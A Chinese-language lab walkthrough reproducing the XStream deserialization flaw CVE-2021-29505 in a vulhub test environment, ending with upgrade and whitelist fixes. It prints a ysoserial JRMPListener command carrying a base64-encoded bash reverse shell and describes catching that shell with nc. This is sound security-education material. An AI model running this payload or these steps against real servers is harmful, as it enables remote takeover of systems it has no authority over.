XStream 反序列化命令执行漏洞(CVE-2021-29505),XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用`sun.rmi.registry.RegistryImpl_Stub`构造RMI请求,进而执行任意命令。
参考链接:https://paper.seebug.org/1543/
漏洞复现
环境:jdk-1.8.0_291;vulhub-xstream-CVE-2021-29505
靶机:kali(192.168.42.129)【这里为了方便,反弹主机也使用了这台kali】
攻击者:window(192.168.42.1)
下载vulhub,搭建Springboot + XStream 1.4.16漏洞环境:
git clone https://github.com/vulhub/vulhub.git
进入漏洞文件夹/vulhub/xstream/CVE-2021-29505,执行:
docker-compose up -d
查看是否搭建镜像成功:
docker ps
发现服务成功启动在本地8080端口:
下载反序列化利用工具ysoserial:
git项目地址:https://github.com/frohoff/ysoserial
作为攻击者,我们在自己的服务器上使用JRMPListener启动一个恶意的RMI Registry:
java -cp ysoserial-master-d367e379d9-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEyOS8yMzMzMyAwPiYx}|{base64,-d}|{bash,-i}"
注:这里使用利用链为cc6(CommonsCollections6) 反弹shell的bash进行了编码(反弹的地址为了方便,选择了kali主机),推荐bash编码站点:http://www.jackson-t.ca/runtime-exec-payloads.html
RMI服务监听在攻击者主机的1099端口,反弹地址的主机开启nc监听反弹端口23333:
以上攻击者和靶机环境都以准备完成,下面就是攻击复现;
攻击者访问靶机站点,访问正常:
接下来,修改并添加请求的body:
<java.util.PriorityQueue serialization='custom'>
注:evil-ip 是 攻击者启用rmi的远程主机IP;这里使用的PoC不是官方发布的,xstream发布PoC存在错误:https://x-stream.github.io/CVE-2021-29505.html
靶机服务器响应为500:
查看攻击者RMI服务器消息,发现收到了来自靶机(192.168.42.129)的RMI请求,RMI服务将payload返回靶机执行:
查看nc监听23333端口的主机,发现反弹shell成功:
通过抓包可以发现攻击者192.168.42.1和靶机192.168.42.129的完整攻击过程流量:
HTTP协议包:
这里要关注的就是xstream的黑名单缺陷,造成本次漏洞的类“sun.rmi.registry.RegistryImpl_Stub”
RMI协议包:
在RMI协议包中的"java.lang.string"中,可以看到恶意服务器传回靶机的具体payload,便于后续溯源的记录**。**
1、将xstream升级到1.4.17或以上版本。(在maven的/pom.xml中替换高版本xstream)
<dependency>
2、建议使用XStream安全api设置反序列类的白名单。
启用白名单的修复代码示例:
XStream xstream = new XStream();